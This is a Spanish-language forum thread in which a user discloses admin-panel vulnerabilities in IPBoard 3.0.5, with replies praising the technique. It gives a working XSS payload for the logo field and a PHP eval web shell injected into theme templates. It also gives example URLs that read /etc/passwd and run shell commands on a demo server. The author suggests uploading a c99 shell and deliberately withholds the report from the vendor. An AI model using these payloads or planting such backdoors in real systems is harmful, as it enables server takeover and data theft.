Codigo de ejecución PHP y XSS en IPBoard 3.0.5

Iniciado por WHK, 21 Febrero 2010, 07:13 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Estaba viendo una demostración del IPBoard que pude obtener desde la web oficial y viendo algunas opciones me pude dar cuenta que puedes ejecutar código arbitrario y xss en dos lados diferentes.

Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar ambas cosas.

El xss se encuentra al editar el logo:
http://ejemplo/admin/index.php?adsess=[sesion]&app=core&&module=templates&section=easylogo&do=finish

En este lugar encontraremos un input para poner el logo del theme, pero no podemos inyectar código html porque nos filtra las comillas simples y dobles, asi que como lo podemos evadir?
VBulletín utiliza variables de esta forma: {style_image_url}/logo.png asi que dentro de {} no nos filtran nada asi que desde ahi podemos inyectar de la siguiente manera:
Citarlogo.png<{'onerror=alert(0) x='}

Con eso ya puedes ejecutar código arbitrario desde el theme.

El código de ejecución en php se encuentra en la edición del theme.
Por eejmplo si al theme le ponemos <?php echo 'x'; ?> no lo ejecutará sino que lo mostrará solamente ya que lanza un echo completo, pero si ejecuta las variables en php, por ejemplo {$x} ya que el theme completo se procesa en eval y echo.

Si no podemos usar tags de php como escapamos y ejecutamos código?....
así:
Código (php) [Seleccionar]
{${eval(stripslashes(html_entity_decode($_GET[x])))}}

Tube que encerrar la variabe en dos llaves diferentes porque vbulletin me filtraba las llaves sin un $.
También reemplaza los puntos a htmlentities y utiliza addslashses xD asi que le aplicamos las funciones inversas.

Demo online:
http://a133.ipsdemo.ipslink.com/index.php?x=echo file_get_contents('../../../../../../../etc/passwd');exit;
y
view-source:http://a133.ipsdemo.ipslink.com/index.php?x=system%28%27ls%20-la%27%29;exit;

Ojo que el demo que me dieron dura 24 horas asi que si no ven el enlace se hacen uno nuevo y lo prueban.

PD: a servidores como el del demo que tiene allow url open activo pueden subirse una c99 y hacer full backup :P
PD2: a vbulletín no les aviso de la vulnerabilidad porque ellos ganan dinero vendiendo el sistema y tienen el suficiente dinero como para contratar a auditores, yo no les hago el trabajo porque ellos nunca me han dado nada, no así los de libre pago como smf, ellos si aportan muchisimo a la gente asi que a ellos si les reportamos primero :P.

Castg!

Qué buen metodo este!
Código (php) [Seleccionar]
{${eval(stripslashes(html_entity_decode($_GET[x])))}}

no lo conocia y puede ser muy practioco ;)! como siempre, impecable... te felicito, un saludo garnde ;)

~ Yoya ~

Bien hecho, se nota que tienes unas ganas de auditar algun otro CMS xD.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

invisible_hack

Muy cierto, VBulletin es de pago, y como tal, debería poner más empeño en reparar y revisar mas a menudo su código para intentar fixear nuevos bugs...y no lo han hecho...

Poco a poco se va desmoronando el lema ese de que los sistemas de pago, por el simple hecho de ser de pago son intocables  :xD

Saludos.
"Si no visitas mi blog, Chuck te dará una patada giratoria"